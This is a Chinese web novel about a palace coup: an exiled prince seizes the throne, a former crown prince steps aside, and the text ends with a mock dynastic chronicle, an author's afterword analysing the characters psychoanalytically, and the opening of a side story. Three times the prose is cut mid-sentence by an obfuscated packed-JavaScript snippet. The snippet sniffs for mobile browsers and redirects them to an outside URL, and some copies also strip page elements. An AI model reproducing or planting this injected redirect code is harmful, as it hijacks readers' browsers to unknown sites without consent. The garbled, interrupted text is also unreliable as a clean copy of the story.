“不能放走一个。”他声音冰冷,目光扫过不远处一个易于设伏的狭窄谷地,“他们身上必有与京城往来的密信,消息不能泄露。” 他快速说出一个利用地形制造混乱再逐一绞杀的计划。方案大胆至极,风险也高。陈闯盯着他看了片刻,一咬牙:“他娘的,干了!就依阿绝的!” 那场遭遇战惨烈而短暂。玉凌绝如同鬼魅,在混战中精准地切断了缇骑首领的退路,短匕抹过对方喉咙的瞬间,他甚至能看清对方眼中难以置信的惊恐。他面无表情地搜出密信,确认无误后,将尸体踹入深涧。 战斗结束,折损两人,重伤一人。活下来的人看着那个在尸堆中冷静擦拭匕首上血迹的少年,眼神只剩下一种混合着敬畏与凛然的复杂情绪。 “杀伐果断,你是个天生的杀才。”陈闯喘着粗气,拍了拍他的肩膀,力道沉重。 玉凌绝没有回应,只是将密信收好。他抬头望着远方,目光似乎已经越过千山万水,落在了那座即将被血与火洗礼的皇城。他需要更快,必须在那人点燃的炸药桶彻底爆炸前赶到。 与此同时,京城已是一片末日将至的混乱。 国师与宰相的矛盾彻底白热化。先是宰相一派以“清查逆党”为名,派兵围了国师在京郊的一处重要丹房,双方爆发冲突,死伤数十。紧接着当夜,国师圈养的一批方士便潜入宰相府,试图刺杀,虽未成功,却将宰相最宠爱的一个幼子杀于睡梦之中。 血仇就此结下。双方再也顾不得掩饰,开始调动手中掌控的京城戍卫部分禁军乃至私蓄的死士,在京城各处展开血腥清洗。街道上不时传来喊杀声与兵刃撞击声,火光在某些街区彻夜不熄,百姓闭户,人心惶惶。 老皇帝在病榻上闻听此讯,惊怒交加,连吐几口黑血,太医院束手无策。 而处于风暴眼的东宫,此刻却异常平静。莫忘之依旧被软禁着,对外界的厮杀充耳不闻,每日只在殿内焚香看书,或是独自对弈。他甚至还主动向把守宫门的国师心腹示弱,请求加强东宫守卫,以免被“宰相乱党”所害。这般姿态,更坐实了他庸碌无能只求自保的形象,让争斗中的双方更加放心地将这废太子当作了砧板上的鱼肉。 他们不知道,那些被加强派来的守卫中,早已混入了莫忘之这些年不动声色埋下的死士。东宫看似被围成铁桶,实则内里,已然成了一座随时可以反噬的陷阱。 这一夜,星月无光,乌云压城。 玉凌绝骑在马上,一身普通校尉的轻甲,他沉默地跟在燕沧溟身侧,目光始终望着远方,黑沉的眸子里看不出情绪,只有紧抿的唇线和握住缰绳时泛白的指节,泄露着内心的不平静。 越是接近京城,空气中弥漫的紧张感便越是清晰。流民增多,驿马疾驰,偶尔能看到溃兵或神色仓皇的官吏。消息不断从前线传来:国师与宰相的势力已在京城之内爆发了数次激烈冲突,双方死伤惨重,京畿防务几近瘫痪,九门戒备森严,却因各自为战而漏洞百出。 “国师控制了玄武门和安定门,宰相的人把守着德胜门和东直门,双方正在皇城外围的几条主要街巷对峙,谁也奈何不了谁。”陈闯探明情况,回来禀报,语气带着不屑,“狗咬狗,一嘴毛!” 燕沧溟冷笑一声,看向玉凌绝:“凌绝,你怎么看?” 玉凌绝目光扫过舆图:“两虎相争,精力耗尽,正是我等雷霆一击之时。避其主力,直取中枢。皇城之内,必有接应。” 他的判断与燕沧溟不谋而合。她赞许地看了他一眼,随即下令:“传令!弃马轻装简从,趁夜自广渠门废墟处潜入,陈闯,你带一队人,制造动静,佯攻东直门,吸引注意力!” 是夜,月黑风高。广渠门因年久失修,有一段城墙早已坍塌,只用些杂物勉强堵塞,平日里无人理会。此刻,这里成了燕沧溟这支奇兵潜入的最佳路径。 玉凌绝跟在燕沧溟身后,身手矫健地翻过残垣断壁,落入城内。鼻尖瞬间充斥的不再是边关的风沙味,而是浓郁的血腥气,烟火气以及一种末日般的恐慌气息。远处隐约传来喊杀声与兵刃交击之声,映得天际微微发红。 按照密信中提供的路线,他们在错综复杂的巷道中穿行,避开主要交战区域,目标直指宫城。沿途所见尽是断壁残垣,倒伏的尸首,以及惊慌失措四处躲藏的百姓。 宫城的守卫果然比外围松懈许多,大部分兵力都被调往了前方战场。在一处僻静宫墙下,他们与莫忘之安排接应的内应汇合,是当初那个负责倾倒香炉灰的小太监,此刻他眼神晶亮,动作利落,再无平日的畏缩。 “殿下已在宫中……依计行事。”小太监语速极快,递过一套禁军服饰和一枚令牌,“从此处密道可直通内宫冷宫附近,沿途守卫已被调开或……处理。” 玉凌绝迅速换上禁军服饰,将那枚冰冷的令牌握在手中。他看向燕沧溟。 燕沧溟深吸一口气,语气带着决绝:“按计划,我去清剿残部,你去做你该做的事!”她用力握了一下他的手臂,“小心!” 说罢,她带着大部分人手,如同鬼魅般向着喊杀声最激烈的方向潜去。 玉凌绝则带着一支精心挑选的最为精锐的小队,跟着那小太监,钻入了那条幽深潮湿却不知存在了多少年的密道。密道出口正是那处他们曾度过许多个夜晚的,废弃冷宫的老槐树下。 一切仿佛昨日,却又恍如隔世。 此刻的皇宫已是一片混乱。太监宫女四处奔逃,偶尔有零星的战斗在宫殿角落爆发。玉凌绝凭借对地形的熟悉和事先提供的布防图,如同夜中幽灵带领小队在内宫穿梭。他们的目标明确:清除国师与宰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105188|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相安插在关键位置上的死忠头目,制造更大的恐慌,并最终控制住老皇帝所在的寝宫。 京城之内,宰相调动了其掌控的西山锐健营,以“奉密诏诛国师”为名,强攻皇城。而国师一脉,则依靠着部分宫廷禁卫和蓄养的高手,据门死守。双方在皇城脚下杀得尸山血海,箭矢如雨,火把将夜空映照得如同白昼。 就在双方精锐尽出厮杀正酣之际,遥远的北方地平线上,传来沉闷如雷的马蹄声。起初细微,旋即如同海啸般汹涌而来,震得大地都在颤抖。 燕沧溟一马当先,一身玄甲在零星火光照耀下泛着冷硬的光泽。她高举马槊,声音穿透喧嚣的战场,如同惊雷炸响: “清君侧!诛国贼!” “清君侧!诛国贼!” 她身后是如同潮水般涌来的北地边军精锐,他们养精蓄锐多时,此刻如同猛虎出闸,以雷霆万钧之势,直接撞入了已经杀得筋疲力尽的战团,彻底的混乱爆发了。 正在厮杀的双方都被这突如其来的第三方力量打懵了。他们不明白本该在千里之外的边军为何会神兵天降,燕沧溟的军队毫不留情,无论是国师党羽还是宰相麾下,但凡挡路者,皆被碾为齑粉。 也就在边军破开防线的同一时刻,东宫之内,莫忘之缓缓放下了手中的书卷。他走到窗边,看着远处冲天的火光与震耳的喊杀,脸上依旧是那副波澜不惊的淡然。 他随手整理了一下衣袍,对身后如同影子般浮现的死士首领只说了两个字: “动手。” 东宫大门轰然洞开,那些伪装成守卫的死士如同出鞘的利刃,瞬间将门外懵懂的国师派来看守尽数格杀。 莫忘之步出东宫,他身后是沉默而高效的死士们,精准地清除着宫内所有被标记的障碍。厮杀声,兵刃撞击声,哀嚎声震彻宫阙。他踏着满地的鲜血与尸体,听着身后殿宇中传来兵刃割裂血肉的闷响与短促的惨嚎,神情在夜色中模糊不清。 一名负隅顽抗的国师死士挥刀劈来时撞到了案几,顺势看到几上那盏依旧散发着温暖光晕的琉璃云鹤宫灯。那温暖的光晕在此刻的血色中,显得如此刺眼,如此……不合时宜。 一把刀光闪过,精准地劈中了琉璃灯罩。 “哐啷——!”一声清脆刺耳的碎裂声,骤然压过了殿内所有喧嚣。 琉璃碎片四散飞溅,旋即又被更多溅落的鲜血浸没。灯油泼洒而出,遇火即燃,“轰”地一下腾起刺目的火焰,瞬间吞噬了丝绸帷幔。火势借风,迅速蔓延,吞噬梁柱,点燃宫宇。 东宫,这座象征储君地位的华丽牢笼,终于开始熊熊燃烧。 莫忘之清晰地听到了那声碎裂,脚步几不可察地顿了一瞬,终于还是回过头。他的侧脸在赤红的映照下,平静得近乎漠然。 跃动的火光在他的眼底明明灭灭,亲眼目睹着那盏照亮无数冷宫长夜,为那个孩子所留的琉璃宫灯,在烈焰中扭曲崩解,化作缕缕青烟,混入京城弥漫的血色与焦糊气息中。 破碎的琉璃碎片映照着满殿血色,和那人毫无波澜的脸。他没有下令救火,也没有继续停留,只是默然闭上了眼睛,随即不再回头,身影彻底融入更深的黑暗,消失于宫巷尽头。 35. 【弎拾伍】 玉凌绝一路冲杀。他手中的短匕早已换成了染血的长剑,目光如鹰隼,在混乱的人群中搜索着特定的目标,那些莫忘之曾在名单上,在猎场上指给他看的,国师与宰相集团的核心人物。 他看到了那个曾在秋狩嘲讽他的宗室子弟,正被几个家将护着,试图趁乱逃窜。他策马冲过,剑光一闪,一颗满脸惊愕的头颅便飞上了半空。 他看到了那个老太监刘秉笔,正尖叫着指挥几个小太监搬运财物。他甚至没有下马,直接纵马撞了过去,铁蹄踏碎了他的胸骨。 鲜血染红了他的战袍,也染红了他的眼睛。他像一把淬炼已久的剑,精准而冷酷地执行着清君侧的使命,也宣泄着积压了太久的恨意与野心。 最终,他的马蹄停在了皇帝寝宫之外,殿门被猛烈撞开。 浓郁的药味和一种行将就木的腐朽气息扑面而来。龙榻之上,老皇帝形销骨立,双目圆睁,惊恐地看着闯入的浑身浴血的陌生人。 就是这个男人,给了他无尽的苦难。就是这个男人,昏聩多疑,任由朝堂糜烂,民不聊生,也逼死了他的母亲。 恨意如毒焰般灼烧着他的理智,但玉凌绝没再看他,目光迅速扫过殿内。只见国师与宰相这两个权倾朝野,斗了半辈子的老人,此刻竟都在这殿中。他们显然是在混乱中各自带着残存的护卫躲到了这里,试图控制住皇帝这面最后的旗帜,却没想到被人堵在了这里。 两人看到玉凌绝,先是愕然,随即认出了他,脸上瞬间血色尽失。 “是……是你这个孽种!”宰相嘶声道。 玉凌绝没有给他们继续说下去的机会。他抬起手,手中的长剑滴着血,声音冰冷: “清君侧,诛国贼。” 随着他一声令下,身后的精锐如同潮水般涌上。最后的厮杀,在这象征着帝国最高权力的殿堂内爆发,短暂,却极其惨烈。 当玉凌绝亲手将剑捅穿国师心口,又反手割下因为惊恐而瘫软在地的宰相的头颅时,整个紫宸殿陷入了死一般的寂静。 玉凌绝站在血泊之中,脚下是当朝国师的死尸和宰相狰狞的头颅。他却下意识地探手入怀,不是去握那柄随他征战杀伐的短匕,而是摸向了紧贴心口的那枚白玉平安锁。 指尖触及那温润的玉石,他那双黑青色的眸子里,所有杀戮带来的暴戾与躁动,竟奇异地被那股更深的惶惑取代。 自己该做的,都做了。 他若为帝,我当如何? 这个困扰他许久的问题,从未像此刻这般尖锐。是封侯拜相,君臣相隔?是战战兢兢,如履薄冰?还是……鸟尽弓藏,兔死狗烹? 他的指腹反复摩挲着玉锁正面的“安”字。 安。 安? 这枚玉锁,护他走过冷宫饥寒,护他闯过战场刀兵,却不知能否护他度过这那人即将到来的帝王之路与猜忌? 他又抚向反面的“玉”字。 玉。 玉凌绝。 这名是那人给的,这命是那人救的,这条路,也是那人亲手铺就引着他走到今天的。 如今,终点已在眼前。 他抬起染血的脸庞,看向殿外。 天光不知何时已然大亮,晨曦透过洞开的殿门照了进来,落在玉凌绝身上,为他周身镀上了一层残酷的金边。 同时也照亮了殿外,不知何时已然静静站立的那道身影。 莫忘之。 他身披月白常服,纤尘不染,缓缓走入这片血腥弥漫的宫殿。他的神情依旧是那般波澜不惊,仿佛眼前的一切都早已在他的预料之中。 他平静地看着殿内的一切,看着血泊中的身影,看着那双抬起望向对方带着杀戮后的猩红与更深沉复杂情绪的黑眸。 四目相对。 空气凝滞。 “啪,啪,啪。”莫忘之嘴角挂起那丝若有若无的笑意,抬手轻轻鼓起掌来。那掌声在寂静的殿堂里显得格外清晰,也格外刺耳。 随即,他迎着玉凌绝复杂难辨的目光一步步走上前,与对方擦肩而过。他的靴子踏过凝结的血洼,发出轻微的吧嗒声,在这死寂的宫殿里格外清晰。 老皇帝躺在龙榻上,瞪大着浑浊的双眼,方才外面发生的一切他听得一清二楚。极度的惊恐与无法接受的现实,让他枯槁的身体剧烈颤抖着,喉咙里发出“嗬嗬”的怪响。 莫忘之走入殿内,直至榻边,俯视着那位濒死的帝王,眼中无悲无喜,只有一片深不见底的平静。 老皇帝死死盯着这位本该赐死的巫蛊太子,伸出手,似乎想抓住什么,嘴唇翕动,却再也发不出一个完整的音节。莫忘之没有动,只是静静地看着他。 最终,那只苍老的手无力地垂落。老皇帝的头一歪,瞳孔涣散,气息彻底断绝,在无边的惊惧与不甘中咽下了最后一口气。 莫忘之这才缓缓直起身,走到龙案旁。那里,放着传承了数百年的传国玉玺。 他伸出手,指尖拂过那冰凉而沉重的玉石,上面似乎还沾染着方才溅射上的不知属于谁的血滴。 接着他拿起玉玺,转身。在所有人的注视下,有边军将士,有残余的宫人,有刚刚经历生死搏杀的燕沧溟。他一步步走到玉凌绝面前。 然后在对方骤缩的瞳孔注视下,莫忘之牵过他沾满血污和温度的手,不容拒绝地将那枚冰冷沉重的物件——象征着至高皇权的传国玉玺,塞入了他的掌心。 莫忘之微微后退一步,在玉凌绝茫然,震惊以及无数复杂情绪交织的目光中微微颔首,行了第一个,也是最后一个,标准的臣子之礼。 他的声音清朗,穿透殿堂,清晰地传入殿外所有已然赶到和目睹了这一切的残存官员与侍卫耳中,响彻在寂静下来的紫禁城: “陛下。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105189|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“江山已定,臣” “功成身退。” 说完,他直起身,不再看玉凌绝那瞬间失血的脸,不再看燕沧溟欲言又止的神情,也不再看那象征着无上权力的玉玺,在一片死寂与无数难以置信的目光中转身,踏着满殿血污,迎着初升的朝阳,从容不迫地向殿外走去。 玉凌绝僵立在原地,手中那方玉玺冰冷刺骨,重逾千斤。 所有浴血奋战的狠厉,所有隐忍多年的痛苦,所有难以理解的情感都在这一刻,被“功成身退”这四个字焚烧殆尽。 铲除权臣,颠覆朝纲,将冷宫弃子从尘埃里扶上青天……他布这翻天覆地的局不是为了皇位,不是为了自己,只是为了将这万里山河……如同那枚玉锁,施舍给一无所有的玉凌绝。 也是为了把他锁在这万里山河之上。 “臣,叩见新皇!” “陛下万岁!万岁!万万岁!” 身后传来了将士们斩钉截铁的叩拜,传来了山呼海啸般的万岁之声。那些声浪如同惊雷,震耳欲聋,将玉凌绝最后一丝恍惚也震得粉碎。他却只觉得周身冰冷刺骨,如同置身无边荒原。 他想喊,喉咙却被那四个字死死堵住。 他想追,双脚却被牢牢钉在血泊之中。 他死死攥紧玉玺,棱角几乎嵌入骨肉。鲜血顺着他的指缝滴滴答答落下,与殿前的血泊融为了一体,分不清彼此。 他只能眼睁睁看着那道决绝离去的背影,消失在宫门外的光晕里,勾勒出一个逆光的轮廓,看不清面容,手里却再也没有那盏小小的琉璃宫灯,只有一道沉默的剪影渐行渐远,一如初见。 他赢了天下,万人之上。 一人之下。 《景史·本纪第七·肃宗纪》 肃宗帝,讳凌绝,前朝穆宗庶子也。母玉氏,敌国贡女,早卒。帝幼而失怙,育于冷宫,备尝艰辛。性坚忍,聪慧夙成。 穆宗末年,昏聩日甚,沉迷方术,朝政壅塞。国师玄真与宰相李甫把持朝纲,结党营私,互相倾轧,视皇权如无物,以致民怨沸腾,天下动荡。 穆宗寝疾,储位未定。东宫太子忘之性怯懦,久为权臣所挟。玄真,李甫皆欲趁帝不豫,行废立事,并除异己。两党各怀异志,争斗愈烈,京都暗流汹涌,几成鼎沸。 是岁冬,大变陡生。国师,宰相两党于宫闱之内举兵相攻,禁军大乱,血染丹墀。适时,有边将燕氏沧溟者,素怀忠义,得太子密诏,星夜率精锐边军入京“清君侧”。恰两党力竭,燕军一举而定乾坤。混战之中,国师玄真,宰相李甫皆伏诛。穆宗受惊,崩于寝宫。前太子忘之身陷囹圄,殁于东宫之火,尸骨无存。 国不可一日无君。然先帝诸子或夭或废,唯冷宫弃子凌绝,乃先帝血脉,平乱之夜,持传国玉玺现于紫宸殿,众臣乃知。遂奉之,即皇帝位,改元“昭忘”。 (完) 36. 后记 非常感谢您看完我oc的短篇小说!我草太感谢了没看一半就吐(下跪)我一直在哭…… 这个故事纯粹是本人的xp产物,充满了逻辑混乱和不合常理之处非常抱歉,作者只是为了自己爽才写的,好人一生平安,请不要攻击窝……(祈祷) 以及上文那么长的剧情其实只是前传,是为了后面正剧的一盘醋而包的一桌饺子哈哈…… 《泱泱美丽新后宫》真正的故事剧情其实是这个: 前朝太子莫忘之亲手把捡来的冷宫弟弟玉凌绝扶上皇位后潇洒退位,转身江湖悠悠,建立威震武林(并非)的阳关山——本以为从此青山绿水快意恩仇,谁知龙椅上的黑心师弟一声令下,三千禁军连夜围山将他绑走扔进后宫,还冷笑着递上女装:“师兄,这回该你宫斗了。 哈哈没想到吧,作者就这样在狗血霸总和悲剧虐恋中选择了抽象搞笑(。) 前期权谋确实残酷现实,但后期的搞笑剧情又弥补了这一缺点。主线就是莫忘之要在场外阳关山的协助下努力逃出后宫,保住屁股哦哦哦,总之不要带脑子看就行嗯,图一乐呵哈哈。 不过这里还是简单补充一下我oc的背景人设,不然会看的莫名其妙(本来就很莫名其妙了吧) 莫忘之是作者oc故事的主要角色,他本来是个普通的现代社畜,在三十岁生日自杀后经历了千万次人生后终于寻回真正的自己,他是一位带着无数前世记忆的穿越者,会在我许多oc故事里出现。 而玉凌绝最开始是诞生于我更早之前的中恐民俗怪谈故事《倒因颠果》,他是云渺观的小师弟,与燕沧溟与莫忘之拜师同门,但后来莫忘之被正神选中,成为半仙后离开了他们,尚且年轻的玉凌绝在追逐莫忘之的路上不幸被邪神诱导蛊惑,心智被污染后成为邪神的傀儡。在屠戮师门毁灭阳关山后建立了因果局,帮助邪神扭曲颠倒世间因果,与燕沧溟和莫忘之纠缠千余年,最后选择自我了断。 后宫的时间线就是《倒因颠果》之后了,这就是为什么莫忘之对玉凌绝特殊关照和无意识的亲近,前世今生的遗憾与缘分让莫忘之对玉凌绝有愧疚心理,所以不惜代价也要一步步把他扶上皇位。 但同时无数人生也造就了莫忘之的疏离与薄情,他对玉凌绝愧疚,最后却选择了离开。以下是作者浅薄的心理理论分析,切勿认真,随便看看就好: 玉凌绝的童年是他人生的核心创伤。母亲早逝,身份被否定,在欺凌中求生。这导致他的心理发展在口欲期(渴望哺育与温暖)和肛欲期(控制与秩序)遭受了严重创伤,未能建立起基本的安全感与信任感。他的整个人生都是在对这些早期缺失的疯狂补偿。 他追求权力并非纯粹出于野心,而是一种肛欲期对秩序与控制的极端渴望。他需要借助外部强大的权力来填补内心因早期关爱(口欲期满足)缺失而形成的巨大空洞。权力对他而言是抵御外界伤害,重建内心秩序的工具。 而在玉凌绝绝境时出现的莫忘之,则完美契合了人类婴幼儿对“理想母亲”的全部幻想。雪夜中的糖,日常的食物,是口欲期最直接的满足,是“母亲”的哺育。将他从死亡边缘抱回,用衣物包裹,提供庇护,是“母亲”绝对的安全承诺。 而那些“浑然天成”的亲密举动,捧脸,依靠和共眠,在玉凌绝解读中被剥离了任何功利目的,成为一种无条件的母性般的爱抚。这正是他生命中最匮乏的东西。 因此玉凌绝对莫忘之的感情本质上是一种原始的恋母欲望的投射。他将所有对母爱,对安全,对无条件接纳的渴望全部寄托在了莫忘之身上。这从来不是成年人的爱情,而是一个心理残缺的孩童对“母亲”的依恋与占有欲。 但莫忘之作为一个带着无数前世记忆的穿越者,他的心理年龄与阅历远超常人,这使他无法以普通人的情感深度去投入此生的人际关系。 在心理学中,母亲是孩子第一个也是最重要的“客体”。莫忘之无意中为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105190|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉凌绝扮演了这个角色,但他并非真实的母亲,而是一个“过渡性客体”——一个用以帮助玉凌绝从绝对依赖走向独立的临时依靠。他的整个计划,就是培养玉凌绝的独立性(成为皇帝),然后自己这个“过渡性客体”便功成身退。 由于前世已经完成的客体关系,莫忘之对玉凌绝的接触早已跨越了正常社交边界,但他却不自觉,因为他对玉凌绝的“了解”和“无边界感”并非源于亲密,而是源于一种全知视角下的造物主心态。他知道玉凌绝的过去与潜力,如同神祇俯瞰命定的英雄。 在俄狄浦斯情结理论中,子需“弑父”以成长。玉凌绝的“父”是抽象的,是整个压迫他的皇权,是国师与宰相代表的秩序。而莫忘之引导并帮助他完成了这场“弑父”(政变)。但悲剧在于,他真正的欲望客体“母亲”最终还是选择了离开。这导致玉凌绝的俄狄浦斯旅程永远无法完成:他赢得了江山(象征性地战胜了“父”),却永远地失去了“母”。 所以他们的关系最根本的就是供需错位。玉凌绝需要的是一个永远不会抛弃他的“母亲”,一个无条件的爱与安全的源头。但莫忘之提供的只是一个暂时任务性的“母职扮演”,其最终目的是为了培养他的独立性,然后离开。 因此当莫忘之将玉玺交给玉凌绝并离开时,在玉凌绝的潜意识中,这不亚于一次被“母亲”最残忍的抛弃,重现并加剧了他最原始的心理创伤。 玉凌绝就是那个永远困在俄狄浦斯困境中的孩子,他赢得了世界,却因无法真正“拥有”母亲而陷入心理的匮乏与追寻。莫忘之则是那个洞悉一切却拒绝入戏的导演,他冷静地提供了主角成长所需的一切心理养料,然后在落幕时转身离开,薄情地留主角一人在舞台上演独角戏。 理论成立,实践发我。(不是)总之这就是两个人之间扭曲复杂的关系了,纯粹的xp产物嗯嗯…… 文章后面还有一些番外补充之类的,总之非常感谢您的观看! 37. 【番外】偷得浮生半日闲 夏末秋初,天气已褪去了最毒的暑气,宫墙内的日子却依旧沉闷得如同凝滞的死水。连聒噪的蝉鸣都带着几分有气无力的疲惫。 这日午后,莫忘之罕见地于白昼现身于那处废弃宫苑。他没有授课,也未剖析朝局,只懒散地躺在老槐树下的旧藤椅里,望着天上流云,对正在石桌前临帖的玉凌绝慢悠悠道:“整日拘在这四方天里,不腻么?” 玉凌绝执笔的手一顿,一滴浓墨猝不及防地落在宣纸上,迅速晕开一团污迹。他抬起头,黑沉的眸子里先是闪过一丝几乎不敢置信的微光,随即又被更深的警惕覆盖。 这个念头于他,重若千钧,更带着大逆不道的惊惶。 “就是!别摆弄你那破字了!”燕沧溟蹲在高处的粗壮枝干上,嘴里叼着根草茎,冲着下方扬了扬下巴,“天天对着这几面破墙,你小子也不嫌闷得慌?” 玉凌绝抿紧了唇,指节因用力而泛白:“何处不一样。” 冷宫也好,他处也罢,不过是大小不同的囚笼。 “嘿,你这小古板!”燕沧溟翻身跃下,带起一阵微风。她凑到藤椅旁,用手肘捅了捅那个用书盖着脸,仿佛已然入睡的人,“我说,你不管管?再这么下去这小子没等你养大,就先变成个小老头了!” 书册下传来莫忘之慵懒的声音,带着点被打扰的清梦的不耐:“师姐又有何高见?” 燕沧溟眼睛一亮,压低嗓音,带着蛊惑:“今儿个西市有胡商杂耍,听说还有会喷火的!咱们……溜出去瞧瞧?” 玉凌绝依旧垂着头,握着笔杆的手指却悄然收紧,耳朵不易察觉地动了动。 莫忘之缓缓拿开脸上的书,露出那双清凌凌的眸子。他看了看一脸兴奋的燕沧溟,又瞥了一眼看似专注实则背脊紧绷的玉凌绝,唇角弯起一抹狡黠的弧度。 “听起来,”他慢悠悠地坐起身,拂了拂衣袖,“似乎比在这里听师姐聒噪,要有趣些。” 计划既定,行动迅捷。莫忘之不知从何处弄来两套半新不旧的寻常布衣,尺寸竟大致合身,仿佛早有准备。他与玉凌绝换上,宽大的衣衫恰好掩盖了深宫蕴养出的那份与市井格格不入的贵气,只余几分落魄书生的文弱。 燕沧溟在一旁看得啧啧称奇:“哟,手法挺熟啊太子殿下,没少干这事儿吧?” 莫忘之淡淡瞥她一眼,语气平和:“不及师姐翻墙技艺精湛,身法娴熟。” 燕沧溟正利落束发,又不知从哪个角落摸出些灰土,随手在自己和玉凌绝脸上抹了两把。 玉凌绝不适地扯着粗糙衣领,在燕沧溟“不扮就别去”的威胁与莫忘之看戏般的笑容中,只能抿唇忍耐。 “行了,现在看着像逃难的小叫花子了。”她满意地拍拍手,反手准备把灰土一巴掌拍在莫忘之脸上,可惜被他快速侧身躲过。 “哈哈,我们的太子殿下现在倒真像个……”燕沧溟咧咧嘴,“被我们拐出来的体弱书生,专骗仙女眼泪的那种。” “师姐过奖,”莫忘之嘴上回着调侃,眼睛却紧紧盯着燕沧溟那双沾满灰尘,蠢蠢欲动的脏手,讪讪往玉凌绝身后躲去。“师姐英姿,才是迷倒万千少女,比那些纨绔公子更潇洒倜傥。” 玉凌绝却没心思听他们斗嘴,他的心在胸腔里擂鼓。翻墙出宫,这是他梦中都未曾勾勒过的狂悖之事。他下意识地望向莫忘之,寻求着最后的确认。 “看你这表情,像是要去龙潭虎穴。”莫忘之神色依旧,带着难得轻松的笑意:“别怕,跟紧我们。” 出宫的路径燕沧溟早已摸熟。避开守卫森严的区域,沿着宫人运送杂物的偏僻甬道,七拐八绕来到一处年久失修,杂草丛生的排水闸口。钻过那仅容一人通过的缝隙,外面便是护城河畔的灌木丛。 “委屈一下啊太子殿下。”燕沧溟话语未落,自己先轻松地钻了进去,姿态从容,仿佛钻的是某处风光霁月的亭台楼阁。 玉凌绝看着那黑黢黢的洞口,犹豫了一瞬。宫墙之外,是他从未踏足过的世界。一只手轻轻在他背后推了一下,力道温和却不容拒绝。 “别怕。”莫忘之的声音在身后响起。 玉凌绝深吸一口气,弯下腰,也钻了出去。 当双脚真正踏在宫墙之外的土地上,感受到那带着市井烟火气的微醺的风拂过面颊时,玉凌绝有瞬间的恍惚。这是他记事以来,第一次,不是透过冷宫高墙的缝隙,而是真切地看到外面的天空,听到鼎沸的人声。 那是市井的喧闹。 他几乎是下意识地,紧紧抓住了身旁莫忘之的衣袖。 莫忘之没有抽开,只是反手轻轻握住他的手腕,声音低沉平稳:“跟紧。” 燕沧溟显然对这里极为熟悉,带着他们穿过几条僻静的小巷,眼前豁然开朗——一条宽阔的河道映入眼帘,两岸店铺林立,旌旗招展,叫卖声,吆喝声,孩童嬉笑声,船桨划水声交织在一起,形成一幅鲜活而生动的画卷。这就是京城著名的漕运河道,两岸是繁华的市集。 玉凌绝几乎看呆了。他偷窥过宫宴的奢华,目睹过冷宫的死寂,却从未见过如此多鲜活的人,如此浓郁的生活气息。小贩担子里水灵灵的瓜果,摊子上热气腾腾的包子,吹糖人老伯手里变幻出的奇妙形状,杂耍艺人高高抛起的碗碟……一切都让他目不暇接,这一切比燕沧溟描述的边关,比莫忘之讲授的舆图,都要真实喧嚣,充满了蓬勃的生命力。 “发什么呆?走!”燕沧溟一拍他后背,拉着他汇入人流。 莫忘之则不紧不慢走在路上,目光扫过四周,带着一种不易察觉的审视与守护。 玉凌绝起初还有些拘谨,用力拉着莫忘之的手,紧紧跟在他身侧,黑沉沉的眸子警惕地扫视着周围。但很快,他的注意力便被那些新奇的事物吸引——栩栩如生的糖人,叮咚作响的琉璃风铃,还有摊子上摆着的,他从未见过的各色果子。 燕沧溟如同脱缰的野马,看什么都新鲜。她先是挤到一个吹糖人的摊子前,眼巴巴看着老匠人灵巧地捏出一只昂首挺胸的大公鸡。 “这个好!像你东宫门口那只会打鸣的!”她指着糖公鸡,回头对莫忘之嚷道,引得周遭路人侧目。 莫忘之无奈地叹了口气,沉默地递过铜板。燕沧溟心满意足地举着糖公鸡,转头又瞥见旁边卖风车的,五颜六色,哗啦啦转得欢快。她二话不说,挑了个缀着七彩纸条最大的那个,转身就塞到玉凌绝手里。 “拿着!这才有点小孩儿的样子!” 玉凌绝猝不及防,被塞了个满怀喧闹。风车在秋风中急速旋转,七彩纸条模糊成一片令人眩晕的斑斓光影,发出持续不断,哗啦啦的噪音。他下意识就想把这碍事的东西丢掉,却见莫忘之正唇角含笑地看着他,只得僵硬地举着,任由这喧闹的风车成为他此刻无法摆脱的标志。 他努力板着小脸,试图维持那份超越年龄的沉静,与手中欢脱旋转色彩俗艳的风车形成了无比古怪的对比,惹得燕沧溟捧腹大笑。 莫忘之负着手,悠然走到了他们前面,看似随意,却总在不经意间将试图挤到玉凌绝身边的人流隔开。他在一个卖糖画的摊子前停下。他递过几枚铜钱,侧头问玉凌绝:“要个什么?” 玉凌绝看着那在阳光下金灿灿、用糖浆勾勒出的各种图案,龙凤鱼鸟……他犹豫了一下,终究还是指向了其中最威风也是最复杂的那条龙。 